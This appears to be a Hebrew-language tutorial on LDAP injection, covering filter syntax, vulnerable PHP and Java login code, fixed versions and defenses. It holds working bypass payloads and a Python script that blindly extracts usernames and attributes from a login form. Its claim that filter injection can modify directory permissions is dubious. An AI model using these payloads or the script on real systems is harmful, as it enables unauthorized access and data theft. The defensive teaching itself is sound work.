הזרקת LDAP¶
מבוא¶
LDAP (Lightweight Directory Access Protocol) הוא פרוטוקול לגישה ולניהול של שירותי ספרייה (Directory Services). הוא נפוץ מאוד בארגונים לניהול משתמשים, הרשאות, ואימות - בעיקר דרך Active Directory של Microsoft.
הזרקת LDAP מתרחשת כאשר קלט המשתמש משולב ישירות בשאילתת LDAP ללא סינון מתאים. התוצאה יכולה להיות עקיפת אותנטיקציה, חשיפת מידע, או שינוי הרשאות.
רקע - מבנה LDAP¶
מבנה הספרייה¶
dc=company,dc=com
|
+-- ou=People
| |
| +-- cn=John Smith
| +-- cn=Jane Doe
|
+-- ou=Groups
| |
| +-- cn=Admins
| +-- cn=Developers
|
+-- ou=Computers
תחביר פילטרים ב-LDAP¶
# פילטר בסיסי - שוויון
(cn=John Smith)
# פילטר AND - וגם
(&(objectClass=user)(cn=John Smith))
# פילטר OR - או
(|(cn=John)(cn=Jane))
# פילטר NOT - שלילה
(!(cn=John))
# Wildcard - תו כללי
(cn=J*)
# פילטר מורכב - אותנטיקציה
(&(uid=john)(userPassword=secret123))
תווים מיוחדים ב-LDAP¶
* - Wildcard (תו כללי)
( - פתיחת סוגריים
) - סגירת סוגריים
\ - Escape character
NUL - תו null
/ - סלאש
הזרקת LDAP באותנטיקציה¶
קוד פגיע ב-PHP¶
<?php
$ldap = ldap_connect("ldap://ldap.company.com");
$username = $_POST['username'];
$password = $_POST['password'];
// פגיע! הקלט מוכנס ישירות לפילטר
$filter = "(&(uid=$username)(userPassword=$password))";
$result = ldap_search($ldap, "ou=People,dc=company,dc=com", $filter);
$entries = ldap_get_entries($ldap, $result);
if ($entries['count'] > 0) {
echo "Login successful!";
$_SESSION['user'] = $entries[0]['cn'][0];
} else {
echo "Invalid credentials";
}
?>
תקיפה - עקיפת אותנטיקציה¶
# הזנה בשדה username:
*
# הפילטר הופך ל:
(&(uid=*)(userPassword=anything))
# מחזיר את כל המשתמשים - אבל הסיסמה שגויה
# הזנה בשדה username (עקיפה מלאה):
admin)(&)
# הפילטר הופך ל:
(&(uid=admin)(&))(userPassword=anything))
# החלק (&) תמיד מחזיר true
# והחלק (userPassword=anything) מתעלם
# הזנה בשדה username:
*)(uid=*))(|(uid=*
# הפילטר הופך ל:
(&(uid=*)(uid=*))(|(uid=*)(userPassword=anything))
# מחזיר את כל המשתמשים
עקיפה עם תו NULL¶
# הזנה בשדה username:
admin)%00
# הפילטר הופך ל:
(&(uid=admin)\0)(userPassword=anything))
# ה-null byte חותך את שאר הפילטר
# תלוי במימוש - עובד בחלק מהספריות
הזרקה מבוססת OR¶
# פילטר מקורי
(uid=$input)
# הזנת קלט:
*)(|(objectClass=*
# הפילטר הופך ל:
(uid=*)(|(objectClass=*))
# מחזיר את כל האובייקטים בספרייה
חשיפת מידע עם OR¶
# הזנה שמחזירה את כל האובייקטים מכל הסוגים
*)(objectClass=*
# הפילטר הופך ל:
(uid=*)(objectClass=*)
# מחזיר כל דבר שקיים בספרייה
הזרקת LDAP עיוורת - Blind LDAP Injection¶
כאשר התגובה היא רק הצלחה/כישלון, אפשר לחלץ מידע תו אחר תו באמצעות wildcards:
חילוץ שמות משתמשים¶
# בדיקה: האם יש משתמש שמתחיל ב-a?
(&(uid=a*)(objectClass=*))
# בדיקה: האם יש משתמש שמתחיל ב-ad?
(&(uid=ad*)(objectClass=*))
# בדיקה: האם יש משתמש שמתחיל ב-adm?
(&(uid=adm*)(objectClass=*))
# ממשיכים עד שמוצאים: admin
סקריפט אוטומטי לחילוץ¶
import requests
import string
url = "http://target.com/login"
charset = string.ascii_lowercase + string.digits + "_-."
def test_query(prefix):
"""בודק אם הפילטר מחזיר תוצאות"""
data = {
"username": f"{prefix}*",
"password": "anything"
}
response = requests.post(url, data=data)
return "Welcome" in response.text or "success" in response.text.lower()
# חילוץ שם משתמש
def extract_username():
username = ""
while True:
found = False
for char in charset:
if test_query(username + char):
username += char
found = True
print(f"[+] Username so far: {username}")
break
if not found:
break
return username
# חילוץ ערך של תכונה ספציפית
def extract_attribute(username, attribute):
"""מחלץ ערך של תכונה באמצעות blind injection"""
value = ""
while True:
found = False
for char in charset:
# payload: admin)(telephoneNumber=VALUE*
payload = f"{username})({attribute}={value}{char}*"
data = {
"username": payload,
"password": "anything"
}
response = requests.post(url, data=data)
if "Welcome" in response.text:
value += char
found = True
print(f"[+] {attribute}: {value}")
break
if not found:
break
return value
username = extract_username()
print(f"[+] Found username: {username}")
# חילוץ מספר טלפון, מייל, תיאור וכו'
phone = extract_attribute(username, "telephoneNumber")
email = extract_attribute(username, "mail")
הזרקת LDAP ב-Java¶
קוד פגיע¶
import javax.naming.*;
import javax.naming.directory.*;
public class LDAPAuth {
public boolean authenticate(String username, String password) {
try {
Hashtable<String, String> env = new Hashtable<>();
env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.ldap.LdapCtxFactory");
env.put(Context.PROVIDER_URL, "ldap://ldap.company.com:389");
DirContext ctx = new InitialDirContext(env);
// פגיע! בניית פילטר עם שרשור מחרוזות
String filter = "(&(uid=" + username + ")(userPassword=" + password + "))";
SearchControls controls = new SearchControls();
controls.setSearchScope(SearchControls.SUBTREE_SCOPE);
NamingEnumeration<SearchResult> results =
ctx.search("ou=People,dc=company,dc=com", filter, controls);
return results.hasMore();
} catch (NamingException e) {
return false;
}
}
}
קוד מתוקן¶
public boolean authenticateSafe(String username, String password) {
try {
// שלב 1 - ולידציה על הקלט
if (!username.matches("[a-zA-Z0-9._-]+")) {
return false;
}
// שלב 2 - escaping של תווים מיוחדים
String safeUsername = escapeLDAPFilter(username);
// שלב 3 - חיפוש המשתמש
String filter = "(&(uid=" + safeUsername + ")(objectClass=person))";
// שלב 4 - אימות באמצעות LDAP bind (לא השוואת סיסמה בפילטר)
// זו הדרך הנכונה - לבצע bind עם פרטי המשתמש
Hashtable<String, String> env = new Hashtable<>();
env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.ldap.LdapCtxFactory");
env.put(Context.PROVIDER_URL, "ldap://ldap.company.com:389");
env.put(Context.SECURITY_AUTHENTICATION, "simple");
env.put(Context.SECURITY_PRINCIPAL, "uid=" + safeUsername + ",ou=People,dc=company,dc=com");
env.put(Context.SECURITY_CREDENTIALS, password);
DirContext ctx = new InitialDirContext(env);
ctx.close();
return true;
} catch (AuthenticationException e) {
return false;
} catch (NamingException e) {
return false;
}
}
private String escapeLDAPFilter(String input) {
StringBuilder sb = new StringBuilder();
for (char c : input.toCharArray()) {
switch (c) {
case '\\': sb.append("\\5c"); break;
case '*': sb.append("\\2a"); break;
case '(': sb.append("\\28"); break;
case ')': sb.append("\\29"); break;
case '\0': sb.append("\\00"); break;
default: sb.append(c);
}
}
return sb.toString();
}
חילוץ נתונים מ-LDAP¶
גילוי תכונות קיימות¶
# בדיקה אם תכונה קיימת למשתמש
admin)(telephoneNumber=* # האם יש מספר טלפון?
admin)(mail=* # האם יש אימייל?
admin)(description=* # האם יש תיאור?
admin)(userPassword=* # האם יש סיסמה?
admin)(memberOf=* # האם חבר בקבוצות?
גילוי קבוצות¶
# בדיקה באיזו קבוצה המשתמש
admin)(memberOf=cn=A* # קבוצה שמתחילה ב-A?
admin)(memberOf=cn=Ad* # קבוצה שמתחילה ב-Ad?
admin)(memberOf=cn=Admin* # קבוצה Admins?
הזרקת LDAP מתקדמת - שינוי הרשאות¶
במקרים נדירים, אם הגישה ל-LDAP היא עם הרשאות כתיבה:
# שינוי תכונות דרך LDAP injection
# payload בשדה username:
admin)(|(description=hacked
# אם יש גישה ל-modify operations
# אפשר לשנות קבוצות, תיאורים, או אפילו סיסמאות
הגנה מפני הזרקת LDAP¶
1. סינון תווים מיוחדים - Escaping¶
<?php
function ldap_escape_filter($input) {
$metaChars = array(
'\\' => '\5c',
'*' => '\2a',
'(' => '\28',
')' => '\29',
"\x00" => '\00',
);
return str_replace(array_keys($metaChars), array_values($metaChars), $input);
}
// שימוש
$safe_username = ldap_escape_filter($_POST['username']);
$filter = "(&(uid=$safe_username)(objectClass=person))";
?>
2. ולידציה על הקלט¶
<?php
// רשימה לבנה של תווים מותרים
if (!preg_match('/^[a-zA-Z0-9._@-]+$/', $username)) {
die("Invalid username format");
}
?>
3. אימות עם LDAP Bind¶
<?php
// במקום לבדוק סיסמה בפילטר - לבצע bind
$ldap = ldap_connect("ldap://ldap.company.com");
// חיפוש המשתמש קודם (עם escaping)
$safe_user = ldap_escape_filter($username);
$result = ldap_search($ldap, "ou=People,dc=company,dc=com", "(uid=$safe_user)");
$entries = ldap_get_entries($ldap, $result);
if ($entries['count'] == 1) {
$user_dn = $entries[0]['dn'];
// ניסיון bind עם ה-DN והסיסמה
if (@ldap_bind($ldap, $user_dn, $password)) {
echo "Login successful!";
}
}
?>
4. שימוש בספריות פרמטריות¶
# Python עם python-ldap
import ldap
conn = ldap.initialize('ldap://ldap.company.com')
# שימוש ב-ldap.filter.escape_filter_chars
from ldap.filter import escape_filter_chars
safe_username = escape_filter_chars(username)
filter_str = f"(&(uid={safe_username})(objectClass=person))"
results = conn.search_s("ou=People,dc=company,dc=com", ldap.SCOPE_SUBTREE, filter_str)
סיכום¶
הזרקת LDAP פחות נפוצה מ-SQLi אבל עדיין מסוכנת, במיוחד בסביבות ארגוניות שמשתמשות ב-Active Directory. נקודות המפתח:
- הפילטרים של LDAP משתמשים בתחביר מיוחד עם סוגריים ואופרטורים
- Wildcards (*) מאפשרים חילוץ מידע תו אחר תו
- תו ה-NULL יכול לחתוך את שאר הפילטר בחלק מהמימושים
- ההגנה הטובה ביותר היא שילוב של escaping, ולידציה, ושימוש ב-LDAP bind לאימות
- לעולם לא לשים סיסמה בתוך הפילטר - להשתמש ב-bind במקום